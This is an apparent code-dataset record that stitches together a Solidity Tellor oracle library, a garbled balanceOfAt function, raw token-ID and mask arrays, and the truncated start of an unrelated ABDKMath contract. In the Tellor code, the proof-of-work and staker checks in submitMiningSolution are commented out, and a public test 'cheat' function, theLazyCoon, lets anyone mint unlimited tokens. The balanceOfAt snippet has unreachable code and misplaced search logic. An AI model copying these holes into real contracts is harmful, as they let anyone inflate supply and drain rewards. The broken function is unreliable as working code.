amount of tokens at a specific block number } struct Request { string queryString; //id to string api string dataSymbol; //short name for api request bytes32 queryHash; //hash of api string and granularity e.g. keccak256(abi.encodePacked(_sapi,_granularity)) uint256[] requestTimestamps; //array of all newValueTimestamps requested mapping(bytes32 => uint256) apiUintVars; //Each of the variables below is saved in the mapping apiUintVars for each api request //e.g. requestDetails[_requestId].apiUintVars[keccak256("totalTip")] //These are the variables saved in this mapping: // uint keccak256("granularity"); //multiplier for miners // uint keccak256("requestQPosition"); //index in requestQ // uint keccak256("totalTip");//bonus portion of payout mapping(uint256 => uint256) minedBlockNum; //[apiId][minedTimestamp]=>block.number //This the time series of finalValues stored by the contract where uint UNIX timestamp is mapped to value mapping(uint256 => uint256) finalValues; mapping(uint256 => bool) inDispute; //checks if API id is in dispute or finalized. mapping(uint256 => address[5]) minersByValue; mapping(uint256 => uint256[5]) valuesByTimestamp; } struct TellorStorageStruct { bytes32 currentChallenge; //current challenge to be solved uint256[51] requestQ; //uint50 array of the top50 requests by payment amount uint256[] newValueTimestamps; //array of all timestamps requested Details[5] currentMiners; //This struct is for organizing the five mined values to find the median mapping(bytes32 => address) addressVars; //Address fields in the Tellor contract are saved the addressVars mapping //e.g. addressVars[keccak256("tellorContract")] = address //These are the variables saved in this mapping: // address keccak256("tellorContract");//Tellor address // address keccak256("_owner");//Tellor Owner address // address keccak256("_deity");//Tellor Owner that can do things at will // address keccak256("pending_owner"); // The proposed new owner mapping(bytes32 => uint256) uintVars; //uint fields in the Tellor contract are saved the uintVars mapping //e.g. uintVars[keccak256("decimals")] = uint //These are the variables saved in this mapping: // keccak256("decimals"); //18 decimal standard ERC20 // keccak256("disputeFee");//cost to dispute a mined value // keccak256("disputeCount");//totalHistoricalDisputes // keccak256("total_supply"); //total_supply of the token in circulation // keccak256("stakeAmount");//stakeAmount for miners (we can cut gas if we just hardcode it in...or should it be variable?) // keccak256("stakerCount"); //number of parties currently staked // keccak256("timeOfLastNewValue"); // time of last challenge solved // keccak256("difficulty"); // Difficulty of current block // keccak256("currentTotalTips"); //value of highest api/timestamp PayoutPool // keccak256("currentRequestId"); //API being mined--updates with the ApiOnQ Id // keccak256("requestCount"); // total number of requests through the system // keccak256("slotProgress");//Number of miners who have mined this value so far // keccak256("miningReward");//Mining Reward in PoWo tokens given to all miners per value // keccak256("timeTarget"); //The time between blocks (mined Oracle values) // keccak256("_tblock"); // // keccak256("runningTips"); // VAriable to track running tips // keccak256("currentReward"); // The current reward // keccak256("devShare"); // The amount directed towards th devShare // keccak256("currentTotalTips"); // //This is a boolean that tells you if a given challenge has been completed by a given miner mapping(bytes32 => mapping(address => bool)) minersByChallenge; mapping(uint256 => uint256) requestIdByTimestamp; //minedTimestamp to apiId mapping(uint256 => uint256) requestIdByRequestQIndex; //link from payoutPoolIndex (position in payout pool array) to apiId mapping(uint256 => Dispute) disputesById; //disputeId=> Dispute details mapping(address => Checkpoint[]) balances; //balances of a party given blocks mapping(address => mapping(address => uint256)) allowed; //allowance for a given party and approver mapping(address => StakeInfo) stakerDetails; //mapping from a persons address to their staking info mapping(uint256 => Request) requestDetails; //mapping of apiID to details mapping(bytes32 => uint256) requestIdByQueryHash; // api bytes32 gets an id = to count of requests array mapping(bytes32 => uint256) disputeIdByDisputeHash; //maps a hash to an ID for each dispute } } pragma solidity ^0.5.16; //Functions for retrieving min and Max in 51 length array (requestQ) //Taken partly from: https://github.com/modular-network/ethereum-libraries-array-utils/blob/master/contracts/Array256Lib.sol library RefUtilities { /** * @dev Returns the max value in an array. * The zero position here is ignored. It's because * there's no null in solidity and we map each address * to an index in this array. So when we get 51 parties, * and one person is kicked out of the top 50, we * assign them a 0, and when you get mined and pulled * out of the top 50, also a 0. So then lot's of parties * will have zero as the index so we made the array run * from 1-51 with zero as nothing. * @param data is the array to calculate max from * @return max amount and its index within the array */ function getMax(uint256[51] memory data) internal pure returns (uint256 max, uint256 maxIndex) { maxIndex = 1; max = data[maxIndex]; for (uint256 i = 2; i < data.length; i++) { if (data[i] > max) { max = data[i]; maxIndex = i; } } } /** * @dev Returns the minimum value in an array. * @param data is the array to calculate min from * @return min amount and its index within the array */ function getMin(uint256[51] memory data) internal pure returns (uint256 min, uint256 minIndex) { minIndex = data.length - 1; min = data[minIndex]; for (uint256 i = data.length - 2; i > 0; i--) { if (data[i] < min) { min = data[i]; minIndex = i; } } } /** * @dev Returns the 5 requestsId's with the top payouts in an array. * @param data is the array to get the top 5 from * @return to 5 max amounts and their respective index within the array */ function getMax5(uint256[51] memory data) internal pure returns (uint256[5] memory max, uint256[5] memory maxIndex) { uint256 min5 = data[1]; uint256 minI = 1; for(uint256 j=0;j<5;j++){ max[j]= data[j+1];//max[0]=data[1] maxIndex[j] = j+1;//maxIndex[0]= 1 if(max[j] < min5){ min5 = max[j]; minI = j; } } for(uint256 i = 5; i < data.length; i++) { if (data[i] > min5) { max[minI] = data[i]; maxIndex[minI] = i; min5 = data[i]; for(uint256 j=0;j<5;j++){ if(max[j] < min5){ min5 = max[j]; minI = j; } } } } } } /** * @title Tellor Oracle System Library * @dev Contains the functions' logic for the Tellor contract where miners can submit the proof of work * along with the value and smart contracts can requestData and tip miners. */ library RefTellorLibrary { using RefSafeMath for uint256; event TipAdded(address indexed _sender, uint256 indexed _requestId, uint256 _tip, uint256 _totalTips); //emits when a new challenge is created (either on mined block or when a new request is pushed forward on waiting system) event NewChallenge( bytes32 indexed _currentChallenge, uint256[5] _currentRequestId, uint256 _difficulty, uint256 _totalTips ); //Emits upon a successful Mine, indicates the blocktime at point of the mine and the value mined event NewValue(uint256[5] _requestId, uint256 _time, uint256[5] _value, uint256 _totalTips, bytes32 indexed _currentChallenge); //Emits upon each mine (5 total) and shows the miner, nonce, and value submitted event NonceSubmitted(address indexed _miner, string _nonce, uint256[5] _requestId, uint256[5] _value, bytes32 indexed _currentChallenge); event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner); event OwnershipProposed(address indexed _previousOwner, address indexed _newOwner); /*Functions*/ /** * @dev Add tip to Request value from oracle * @param _requestId being requested to be mined * @param _tip amount the requester is willing to pay to be get on queue. Miners * mine the onDeckQueryHash, or the api with the highest payout pool */ function addTip(RefTellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _tip) public { require(_requestId != 0, "RequestId is 0"); require(_tip != 0, "Tip should be greater than 0"); uint256 _count =self.uintVars[keccak256("requestCount")] + 1; if(_requestId == _count){ self.uintVars[keccak256("requestCount")] = _count; } else{ require(_requestId < _count, "RequestId is not less than count"); } RefTellorTransfer.doTransfer(self, msg.sender, address(this), _tip); //Update the information for the request that should be mined next based on the tip submitted updateOnDeck(self, _requestId, _tip); emit TipAdded(msg.sender, _requestId, _tip, self.requestDetails[_requestId].apiUintVars[keccak256("totalTip")]); } /** * @dev This function is called by submitMiningSolution and adjusts the difficulty, sorts and stores the first * 5 values received, pays the miners, the dev share and assigns a new challenge * @param _nonce or solution for the PoW for the requestId * @param _requestId for the current request being mined */ function newBlock(RefTellorStorage.TellorStorageStruct storage self, string memory _nonce, uint256[5] memory _requestId) public { RefTellorStorage.Request storage _tblock = self.requestDetails[self.uintVars[keccak256("_tblock")]]; // If the difference between the timeTarget and how long it takes to solve the challenge this updates the challenge //difficulty up or donw by the difference between the target time and how long it took to solve the previous challenge //otherwise it sets it to 1 int256 _change = int256(RefSafeMath.min(1200, (now - self.uintVars[keccak256("timeOfLastNewValue")]))); int256 _diff = int256(self.uintVars[keccak256("difficulty")]); _change = (_diff * (int256(self.uintVars[keccak256("timeTarget")]) - _change)) / 4000; if (_change == 0) { _change = 1; } self.uintVars[keccak256("difficulty")] = uint256(RefSafeMath.max(_diff + _change,1)); //Sets time of value submission rounded to 1 minute uint256 _timeOfLastNewValue = now - (now % 1 minutes); self.uintVars[keccak256("timeOfLastNewValue")] = _timeOfLastNewValue; uint[5] memory a; for (uint k = 0; k < 5; k++) { a = _tblock.valuesByTimestamp[k]; address[5] memory b = _tblock.minersByValue[1]; for (uint i = 1; i < 5; i++) { uint256 temp = a[i]; address temp2 = b[i]; uint256 j = i; while (j > 0 && temp < a[j - 1]) { a[j] = a[j - 1]; b[j] = b[j - 1]; j--; } if (j < i) { a[j] = temp; b[j] = temp2; } } RefTellorStorage.Request storage _request = self.requestDetails[_requestId[k]]; //Save the official(finalValue), timestamp of it, 5 miners and their submitted values for it, and its block number _request.finalValues[_timeOfLastNewValue] = a[2]; _request.requestTimestamps.push(_timeOfLastNewValue); //these are miners by timestamp _request.minersByValue[_timeOfLastNewValue] = [b[0], b[1], b[2], b[3], b[4]]; _request.valuesByTimestamp[_timeOfLastNewValue] = [a[0],a[1],a[2],a[3],a[4]]; _request.minedBlockNum[_timeOfLastNewValue] = block.number; _request.apiUintVars[keccak256("totalTip")] = 0; } emit NewValue( _requestId, _timeOfLastNewValue, a, self.uintVars[keccak256("runningTips")], self.currentChallenge ); //map the timeOfLastValue to the requestId that was just mined self.requestIdByTimestamp[_timeOfLastNewValue] = _requestId[0]; if (self.uintVars[keccak256("currentReward")] > 1e18) { //These number represent the inflation adjustement that started in 03/2019 self.uintVars[keccak256("currentReward")] = self.uintVars[keccak256("currentReward")] - self.uintVars[keccak256("currentReward")] * 15306316590563/1e18; self.uintVars[keccak256("devShare")] = self.uintVars[keccak256("currentReward")] * 50/100; } else { self.uintVars[keccak256("currentReward")] = 1e18; } //update the total supply self.uintVars[keccak256("total_supply")] += self.uintVars[keccak256("devShare")] + self.uintVars[keccak256("currentReward")]*5 - (self.uintVars[keccak256("currentTotalTips")]); RefTellorTransfer.doTransfer(self, address(this), self.addressVars[keccak256("_owner")], self.uintVars[keccak256("devShare")]); //add timeOfLastValue to the newValueTimestamps array self.newValueTimestamps.push(_timeOfLastNewValue); self.uintVars[keccak256("_tblock")] ++; uint256[5] memory _topId = RefTellorStake.getTopRequestIDs(self); for(uint i = 0; i< 5;i++){ self.currentMiners[i].value = _topId[i]; self.requestQ[self.requestDetails[_topId[i]].apiUintVars[keccak256("requestQPosition")]] = 0; self.uintVars[keccak256("currentTotalTips")] += self.requestDetails[_topId[i]].apiUintVars[keccak256("totalTip")]; } //Issue the the next challenge self.currentChallenge = keccak256(abi.encode(_nonce, self.currentChallenge, blockhash(block.number - 1))); // Save hash for next proof emit NewChallenge( self.currentChallenge, _topId, self.uintVars[keccak256("difficulty")], self.uintVars[keccak256("currentTotalTips")] ); } /** * @dev Proof of work is called by the miner when they submit the solution (proof of work and value) * @param _nonce uint submitted by miner * @param _requestId is the array of the 5 PSR's being mined * @param _value is an array of 5 values */ function submitMiningSolution(RefTellorStorage.TellorStorageStruct storage self, string memory _nonce,uint256[5] memory _requestId, uint256[5] memory _value) public { //require(self.stakerDetails[msg.sender].currentStatus == 1, "Miner status is not staker"); for(uint i=0;i<5;i++){ require(_requestId[i] >=0); //require(_requestId[i] == self.currentMiners[i].value,"Request ID is wrong"); } RefTellorStorage.Request storage _tblock = self.requestDetails[self.uintVars[keccak256("_tblock")]]; //Saving the challenge information as unique by using the msg.sender // require(uint256( // sha256(abi.encodePacked(ripemd160(abi.encodePacked(keccak256(abi.encodePacked(self.currentChallenge, msg.sender, _nonce)))))) // ) % // self.uintVars[keccak256("difficulty")] == 0 // || (now - (now % 1 minutes)) - self.uintVars[keccak256("timeOfLastNewValue")] >= 15 minutes, // "Incorrect nonce for current challenge" // ); require(now - self.uintVars[keccak256(abi.encode(msg.sender))] > 15 minutes, "Miner can only win rewards once per fifteen minutes"); //Make sure the miner does not submit a value more than once require(self.minersByChallenge[self.currentChallenge][msg.sender] == false, "Miner already submitted the value"); //require the miner did not receive awards in the last hour self.uintVars[keccak256(abi.encode(msg.sender))] = now; if(self.uintVars[keccak256("slotProgress")] == 0){ self.uintVars[keccak256("runningTips")] = self.uintVars[keccak256("currentTotalTips")]; } uint _extraTip = (self.uintVars[keccak256("currentTotalTips")]-self.uintVars[keccak256("runningTips")])/(5-self.uintVars[keccak256("slotProgress")]); RefTellorTransfer.doTransfer(self, address(this), msg.sender, self.uintVars[keccak256("currentReward")] + self.uintVars[keccak256("runningTips")] / 2 / 5 + _extraTip); self.uintVars[keccak256("currentTotalTips")] -= _extraTip; //Save the miner and value received _tblock.minersByValue[1][self.uintVars[keccak256("slotProgress")]]= msg.sender; //this will fill the currentMiners array for (uint j = 0; j < 5; j++) { _tblock.valuesByTimestamp[j][self.uintVars[keccak256("slotProgress")]] = _value[j]; } self.uintVars[keccak256("slotProgress")]++; //Update the miner status to true once they submit a value so they don't submit more than once self.minersByChallenge[self.currentChallenge][msg.sender] = true; emit NonceSubmitted(msg.sender, _nonce, _requestId, _value, self.currentChallenge); if (self.uintVars[keccak256("slotProgress")] == 5) { newBlock(self, _nonce, _requestId); self.uintVars[keccak256("slotProgress")] = 0; } } function updateOnDeck(RefTellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _tip) public { RefTellorStorage.Request storage _request = self.requestDetails[_requestId]; _request.apiUintVars[keccak256("totalTip")] = _request.apiUintVars[keccak256("totalTip")].add(_tip); if(self.currentMiners[0].value == _requestId || self.currentMiners[1].value== _requestId ||self.currentMiners[2].value == _requestId||self.currentMiners[3].value== _requestId || self.currentMiners[4].value== _requestId ){ self.uintVars[keccak256("currentTotalTips")] += _tip; } else { //if the request is not part of the requestQ[51] array //then add to the requestQ[51] only if the _payout/tip is greater than the minimum(tip) in the requestQ[51] array if (_request.apiUintVars[keccak256("requestQPosition")] == 0) { uint256 _min; uint256 _index; (_min, _index) = RefUtilities.getMin(self.requestQ); //we have to zero out the oldOne //if the _payout is greater than the current minimum payout in the requestQ[51] or if the minimum is zero //then add it to the requestQ array aand map its index information to the requestId and the apiUintvars if (_request.apiUintVars[keccak256("totalTip")] > _min || _min == 0) { self.requestQ[_index] = _request.apiUintVars[keccak256("totalTip")]; self.requestDetails[self.requestIdByRequestQIndex[_index]].apiUintVars[keccak256("requestQPosition")] = 0; self.requestIdByRequestQIndex[_index] = _requestId; _request.apiUintVars[keccak256("requestQPosition")] = _index; } // else if the requestid is part of the requestQ[51] then update the tip for it } else{ self.requestQ[_request.apiUintVars[keccak256("requestQPosition")]] += _tip; } } } /**********************CHEAT Functions for Testing******************************/ /**********************CHEAT Functions for Testing******************************/ /**********************CHEAT Functions for Testing--No Nonce******************************/ // /*This is a cheat for demo purposes, will delete upon actual launch*/ function theLazyCoon(RefTellorStorage.TellorStorageStruct storage self,address _address, uint _amount) public { self.uintVars[keccak256("total_supply")] += _amount; RefTellorTransfer.updateBalanceAtNow(self.balances[_address],_amount); } }
* @dev Queries the balance of _user at a specific _blockNumber @param _user The address from which the balance will be retrieved @param _blockNumber The block number when the balance is queried @return The balance at _blockNumber specified/ Binary search of the value in the array
function balanceOfAt(RefTellorStorage.TellorStorageStruct storage self, address _user, uint256 _blockNumber) public view returns (uint256) { RefTellorStorage.Checkpoint[] storage checkpoints = self.balances[_user]; if (checkpoints.length == 0|| checkpoints[0].fromBlock > _blockNumber) { return 0; if (_blockNumber >= checkpoints[checkpoints.length - 1].fromBlock) return checkpoints[checkpoints.length - 1].value; uint256 min = 0; uint256 max = checkpoints.length - 2; while (max > min) { uint256 mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock ==_blockNumber){ return checkpoints[mid].value; min = mid; max = mid - 1; } } return checkpoints[min].value; } }
14,105,865
[ 1, 9592, 326, 11013, 434, 389, 1355, 622, 279, 2923, 389, 2629, 1854, 225, 389, 1355, 1021, 1758, 628, 1492, 326, 11013, 903, 506, 10295, 225, 389, 2629, 1854, 1021, 1203, 1300, 1347, 326, 11013, 353, 23264, 327, 1021, 11013, 622, 389, 2629, 1854, 1269, 19, 7896, 1623, 434, 326, 460, 316, 326, 526, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11013, 951, 861, 12, 1957, 21009, 280, 3245, 18, 21009, 280, 3245, 3823, 2502, 365, 16, 1758, 389, 1355, 16, 2254, 5034, 389, 2629, 1854, 13, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 3941, 21009, 280, 3245, 18, 14431, 8526, 2502, 26402, 273, 365, 18, 70, 26488, 63, 67, 1355, 15533, 203, 3639, 309, 261, 1893, 4139, 18, 2469, 422, 374, 20081, 26402, 63, 20, 8009, 2080, 1768, 405, 389, 2629, 1854, 13, 288, 203, 5411, 327, 374, 31, 203, 5411, 309, 261, 67, 2629, 1854, 1545, 26402, 63, 1893, 4139, 18, 2469, 300, 404, 8009, 2080, 1768, 13, 327, 26402, 63, 1893, 4139, 18, 2469, 300, 404, 8009, 1132, 31, 203, 5411, 2254, 5034, 1131, 273, 374, 31, 203, 5411, 2254, 5034, 943, 273, 26402, 18, 2469, 300, 576, 31, 203, 5411, 1323, 261, 1896, 405, 1131, 13, 288, 203, 7734, 2254, 5034, 7501, 273, 261, 1896, 397, 1131, 397, 404, 13, 342, 576, 31, 203, 7734, 309, 225, 261, 1893, 4139, 63, 13138, 8009, 2080, 1768, 422, 67, 2629, 1854, 15329, 203, 10792, 327, 26402, 63, 13138, 8009, 1132, 31, 203, 10792, 1131, 273, 7501, 31, 203, 10792, 943, 273, 7501, 300, 404, 31, 203, 7734, 289, 203, 5411, 289, 203, 5411, 327, 26402, 63, 1154, 8009, 1132, 31, 203, 3639, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Sources flattened with hardhat v2.5.0 https://hardhat.org // File @openzeppelin/contracts/token/ERC20/[email protected] // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File contracts/libs/TransferHelper.sol // GPL-3.0-or-later pragma solidity ^0.8.6; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File contracts/libs/ABDKMath64x64.sol // BSD-4-Clause /* * ABDK Math 64.64 Smart Contract Library. Copyright © 2019 by ABDK Consulting. * Author: Mikhail Vladimirov <[email protected]> */ pragma solidity ^0.8.0; /** * Smart contract library of mathematical functions operating with signed * 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is * basically a simple fraction whose numerator is signed 128-bit integer and * denominator is 2^64. As long as denominator is always the same, there is no * need to store it, thus in Solidity signed 64.64-bit fixed point numbers are * represented by int128 type holding only the numerator. */ library ABDKMath64x64 { /* * Minimum value signed 64.64-bit fixed point number may have. */ int128 private constant MIN_64x64 = -0x80000000000000000000000000000000; /* * Maximum value signed 64.64-bit fixed point number may have. */ int128 private constant MAX_64x64 = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; /** * Convert signed 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromInt (int256 x) internal pure returns (int128) { unchecked { require (x >= -0x8000000000000000 && x <= 0x7FFFFFFFFFFFFFFF); return int128 (x << 64); } } /** * Convert signed 64.64 fixed point number into signed 64-bit integer number * rounding down. * * @param x signed 64.64-bit fixed point number * @return signed 64-bit integer number */ function toInt (int128 x) internal pure returns (int64) { unchecked { return int64 (x >> 64); } } /** * Convert unsigned 256-bit integer number into signed 64.64-bit fixed point * number. Revert on overflow. * * @param x unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function fromUInt (uint256 x) internal pure returns (int128) { unchecked { require (x <= 0x7FFFFFFFFFFFFFFF); return int128 (int256 (x << 64)); } } /** * Convert signed 64.64 fixed point number into unsigned 64-bit integer * number rounding down. Revert on underflow. * * @param x signed 64.64-bit fixed point number * @return unsigned 64-bit integer number */ function toUInt (int128 x) internal pure returns (uint64) { unchecked { require (x >= 0); return uint64 (uint128 (x >> 64)); } } /** * Convert signed 128.128 fixed point number into signed 64.64-bit fixed point * number rounding down. Revert on overflow. * * @param x signed 128.128-bin fixed point number * @return signed 64.64-bit fixed point number */ function from128x128 (int256 x) internal pure returns (int128) { unchecked { int256 result = x >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Convert signed 64.64 fixed point number into signed 128.128 fixed point * number. * * @param x signed 64.64-bit fixed point number * @return signed 128.128 fixed point number */ function to128x128 (int128 x) internal pure returns (int256) { unchecked { return int256 (x) << 64; } } /** * Calculate x + y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function add (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 result = int256(x) + y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x - y. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function sub (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 result = int256(x) - y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x * y rounding down. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function mul (int128 x, int128 y) internal pure returns (int128) { unchecked { int256 result = int256(x) * y >> 64; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point * number and y is signed 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y signed 256-bit integer number * @return signed 256-bit integer number */ function muli (int128 x, int256 y) internal pure returns (int256) { unchecked { if (x == MIN_64x64) { require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF && y <= 0x1000000000000000000000000000000000000000000000000); return -y << 63; } else { bool negativeResult = false; if (x < 0) { x = -x; negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint256 absoluteResult = mulu (x, uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x8000000000000000000000000000000000000000000000000000000000000000); return -int256 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int256 (absoluteResult); } } } } /** * Calculate x * y rounding down, where x is signed 64.64 fixed point number * and y is unsigned 256-bit integer number. Revert on overflow. * * @param x signed 64.64 fixed point number * @param y unsigned 256-bit integer number * @return unsigned 256-bit integer number */ function mulu (int128 x, uint256 y) internal pure returns (uint256) { unchecked { if (y == 0) return 0; require (x >= 0); uint256 lo = (uint256 (int256 (x)) * (y & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) >> 64; uint256 hi = uint256 (int256 (x)) * (y >> 128); require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); hi <<= 64; require (hi <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - lo); return hi + lo; } } /** * Calculate x / y rounding towards zero. Revert on overflow or when y is * zero. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function div (int128 x, int128 y) internal pure returns (int128) { unchecked { require (y != 0); int256 result = (int256 (x) << 64) / y; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate x / y rounding towards zero, where x and y are signed 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x signed 256-bit integer number * @param y signed 256-bit integer number * @return signed 64.64-bit fixed point number */ function divi (int256 x, int256 y) internal pure returns (int128) { unchecked { require (y != 0); bool negativeResult = false; if (x < 0) { x = -x; // We rely on overflow behavior here negativeResult = true; } if (y < 0) { y = -y; // We rely on overflow behavior here negativeResult = !negativeResult; } uint128 absoluteResult = divuu (uint256 (x), uint256 (y)); if (negativeResult) { require (absoluteResult <= 0x80000000000000000000000000000000); return -int128 (absoluteResult); // We rely on overflow behavior here } else { require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); return int128 (absoluteResult); // We rely on overflow behavior here } } } /** * Calculate x / y rounding towards zero, where x and y are unsigned 256-bit * integer numbers. Revert on overflow or when y is zero. * * @param x unsigned 256-bit integer number * @param y unsigned 256-bit integer number * @return signed 64.64-bit fixed point number */ function divu (uint256 x, uint256 y) internal pure returns (int128) { unchecked { require (y != 0); uint128 result = divuu (x, y); require (result <= uint128 (MAX_64x64)); return int128 (result); } } /** * Calculate -x. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function neg (int128 x) internal pure returns (int128) { unchecked { require (x != MIN_64x64); return -x; } } /** * Calculate |x|. Revert on overflow. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function abs (int128 x) internal pure returns (int128) { unchecked { require (x != MIN_64x64); return x < 0 ? -x : x; } } /** * Calculate 1 / x rounding towards zero. Revert on overflow or when x is * zero. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function inv (int128 x) internal pure returns (int128) { unchecked { require (x != 0); int256 result = int256 (0x100000000000000000000000000000000) / x; require (result >= MIN_64x64 && result <= MAX_64x64); return int128 (result); } } /** * Calculate arithmetics average of x and y, i.e. (x + y) / 2 rounding down. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function avg (int128 x, int128 y) internal pure returns (int128) { unchecked { return int128 ((int256 (x) + int256 (y)) >> 1); } } /** * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down. * Revert on overflow or in case x * y is negative. * * @param x signed 64.64-bit fixed point number * @param y signed 64.64-bit fixed point number * @return signed 64.64-bit 